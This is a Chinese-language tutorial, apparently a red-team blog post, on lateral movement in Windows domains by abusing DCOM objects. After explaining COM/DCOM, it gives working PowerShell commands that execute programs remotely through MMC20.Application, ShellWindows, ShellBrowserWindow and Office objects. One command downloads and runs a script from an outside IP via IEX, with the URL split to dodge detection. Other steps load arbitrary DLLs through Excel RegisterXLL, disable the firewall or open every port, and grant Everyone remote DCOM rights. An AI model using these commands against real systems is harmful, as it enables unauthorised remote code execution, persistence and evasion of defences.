为什么用DCOM
使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们使用ShellBrowserWindow COM对象,那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM公开方法,因此防御者可能难以全面监测所有程序的执行。
COM概述
COM对象是遵循COM规范编写、以Win32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行二进制代码,能够满足对组件架构的所有需求。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
DCOM概述
DCOM(分布式组件对象模型)是COM(组件对象模型)的扩展,它允许应用程序使用基于RPC 的 DCOM 实例化访问远程计算机上 COM 对象的属性和方法,就像本地机器上的对象一样。
说白了DCOM 就是使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外。
关于每个 COM(和 DCOM)对象的身份、实现和配置的信息存储在注册表中,并与一些重要的标识符相关联:
CLSID - 类标识符 是一个 GUID,它充当 COM 类的唯一标识符,在 Windows 中注册的每个类都与一个 CLSID 相关联, 注册表中的 CLSID 键指向类的实现。
ProgID - Programmatic Identifier 是一个可选标识符,它可以用作 CLSID 的更用户友好的替代方案,因为它不必遵守 CLSID 令人生畏的 GUID 格式(例如,“System.AppDomainManager”是在眼睛上比 GUID 容易得多)。 ProgID 不能保证是唯一的,并且与 CLSID 不同,并非每个类都有 ProgID 相关联。
AppID - 应用程序标识符 用于指定与同一可执行文件关联的一个或多个 COM 对象的配置。 这包括授予各种组以本地和远程实例化和访问相关类的权限。
要使 DCOM 可以访问 COM 对象,AppID 必须与类的 CLSID 相关联,并且需要为 AppID 授予适当的权限。 没有关联 AppID 的 COM 对象无法从远程机器直接访问.
Win32_DCOMApplication WMI 类提供了一种通过 AppID 枚举可用 DCOM 应用程序的简单方法
Get-CimInstance Win32_DCOMApplication
[PS:Get-CimInstance 这个cmdle(powershell命令行)默认只在powershell 3.0以上版本中存在,所以只有 Windows server 2012 及以上版本的操作系统才可以使用Get-Ciminstance。
Windows 7、Windows Server 2008中默认安装的是powershell 2.0,所以他们都不支持Get-CimInstance,可以用以下命令代替Get-CimInstance:
Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication]
而远程 DCOM 对象的实例化行为具体如下:
-
客户端机器从远程机器请求由 CLSID 表示的对象的实例化。 如果客户端使用 ProgID,它首先在本地解析为 CLSID。
-
远程机器检查是否存在与有问题的 CLSID 关联的 AppID,并验证客户端的权限。
如果一切顺利, DCOMLaunch 服务会创建所请求类的实例,最常见的方法是运行 LocalServer32 子项的可执行文件,或创建 dllhost进程来托管 InProcServer32 子项引用的 dll。 -
在客户端应用程序和服务器进程之间建立通信。 在大多数情况下,新进程是在与 DCOM 通信关联的会话中创建的。
-
客户端访问新创建的对象的成员和方法。(执行任意命令)
任意命令行执行
一些COM应用程序存在命令执行方法,我们就是通过调用这些COM应用程序的执行方法来执行命令的。
如MMC20.Application,还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等(但是Excel、Outlook组件的命令执行方法我没复现成功,不知道是不是环境问题)
MMC20.Application
首先创建实例 MMC20.Application ”对象 。
然后使用“Document.ActiveView”属性的“ExecuteShellCommand”方法来执行我们的命令。
这样执行的命令将由 mmc.exe 的子进程来运行。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
#将127.0.0.1的MMC20.Application应用对象绑定到变量$com中
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
#调用MMC20.Application中的ExecuteshellCommand方法来执行命令。组合起来就是
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
#利用powershell上线利用powershell上线
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")).Document.ActiveView.ExecuteShellCommand('C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe',$null,"IEX ((new-object net.webclient).downloadstring('ht'+'tp://62.234.130.153/cxxx.ps1'));","Minimized")PS:查看该COM对象的方法和属性
$com.Document.ActiveView | Get-Member
ShellWindows
命令执行具体过程:与大多数其他方法不同,ShellWindows 不创建进程。 相反,它会激活现有 explorer.exe 进程内的类实例,该进程非常定期地执行子进程。 为了进行通信,explorer.exe会 在 DCOM 端口上打开一个侦听套接字。因此也可以通过查看这个进程是否存在网络通信来发现攻击。
ShellWindows 对象代表一个打开的文件资源管理器窗口。 这意味着尝试在没有打开资源管理器窗口的机器上创建此对象不返回任何内容,从而导致方法不可用。
注意 - ShellWindows 类与 ProgID 无关,必须通过 CLSID 创建。 当然,所有其他对象也可以使用 CLSID 创建。
Get-CimInstance Win32_DCOMApplication | findstr ShellWindows
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
组合起来就是:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

ShellBrowserWindow
类似 ShellWindows,此方法由现有的 explorer.exe 进程托管,同样可以通过查看是否存在侦听套接字的 explorer.exe 进程来识别。
限制 - 虽然此对象不需要像 ShellWindows 这样的打开的资源管理器窗口,但它在 Windows 7 和更早版本上不可用。
注意 - ShellBrowserWindow 类也不与 ProgID 相关联。
使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。
Get-CimInstance Win32_DCOMApplication | findstr ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.152.128"))
#完整命令
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.152.128")).Document.Application.shellExecute("calc")

Excel.Application
(没复现成功)
#通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0.0.1"))
#关闭警告
$com.DisplayAlerts = $false
#Excel进程尝试与选择的应用程序建立 DDE 通道。
$com.DDEInitiate("cmd","/c calc.exe")
Visio.Application(office中的一种,不常见)
条件
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","127.0.0.1"))
$com.[0].Document.Application.shellExecute("calc.exe")
#完整命令
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","127.0.0.1")).[0].Document.Application.shellExecute("C:\test.exe")Outlook.Application(我机子没有,没测)
#通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","127.0.0.1"))
然后执行如下命令,通过Outlook创建Shell.Application对象并执行命令:
$com.createObject("Shell.Application").shellExecute("C:shell.exe")
#完整的命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","127.0.0.1")).createObject("Shell.Application").shellExecute("C:\test.exe")加载任意库
Excel.Application 对象可以通过 RegisterXLL 方法来进行加载库。
这里是通过 XLL 库进行扩展来实现的。

$ee = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0.0.1"))
$ee.Application.RegisterXLL("C:\Users\momo\OneDrive\桌面\nightmare.dll")

PS:
虽然规范要求 XLL 得具有 .xll 扩展名和特定导出,但 RegisterXLL 方法却可以运行任何 dll 的 DllMain,而不管后缀名,因此我们甚至可以将dll后缀改为jpg等绕过某些检测。

并且后台会常驻一个EXCEL进程,重复的执行我们的dll,比如我这里,当我kill掉calc进程后。excel又会重新创建calc进程。
远程调用(DCOM)
前面讲了一堆本地调用的方法,其实远程调用过程也一样,只要把ip改掉即可。
但是因为种种小问题会影响我们远程调用。这里就简单讲下我在远程调用中出现的问题和解决。
前提:
①目标环境存在域
②掌握域内一台可控机器
③拥有的域账号在目标机器上有权限远程启动与激活DCOM(一般域管都有权)
④网络通畅:(加入站规则或关防火墙)
①增加入站规则:DCOM通信端口是由RPC动态分配,不固定,所以将入站端口规则设置为any
netsh advfirewall firewall add rule name=“any” protocol=TCP dir=in localport=any action=allow
②关闭防火墙
netsh advfirewall set currentprofile state off
最常见的错误

从爆错上就能很明显的得知是权限不足引起的。而这里权限不足主要分两种情况:
①未以指定用户权限去调用
举个例子,我们直接WIN+R调用powershell时,powershell的权限是当前用户的权限,而如果当前用户无权去远程调用目标机器的DCOM组件就会回显权限不足。
这时候,我们可以使用下述命令,以指定权限去运行powershell。当输入如下命令后,
会得到一个新的powershell(这个powershell的权限是你输入的用户)
runas /user:ruyue.com\administrator powershell
②指定的用户权限无权远程访问DCOM组件
这种情况下,得到目标机器上把我们用户权限给加上。
win+R ,输入dcomcnfg,然后组件服务,我的电脑查看属性,选择COM安全然后编辑限制,把我们的用户给加上权限。

这里我直接把everyone给加上去,这样无论是谁都有了远程访问的权限。

实操
先远程查看目标机器上的dcom组件
Get-WmiObject Win32_COMSetting -computername 192.168.152.129 -credential RUYUE\administrator | Select-String “9BA05972-F6A8-11CF-A442-00A0C90A8F39”

找到能利用的组件后,开启一个域管权限的powershell
然后远程激活调用DCOM,执行我们的payload

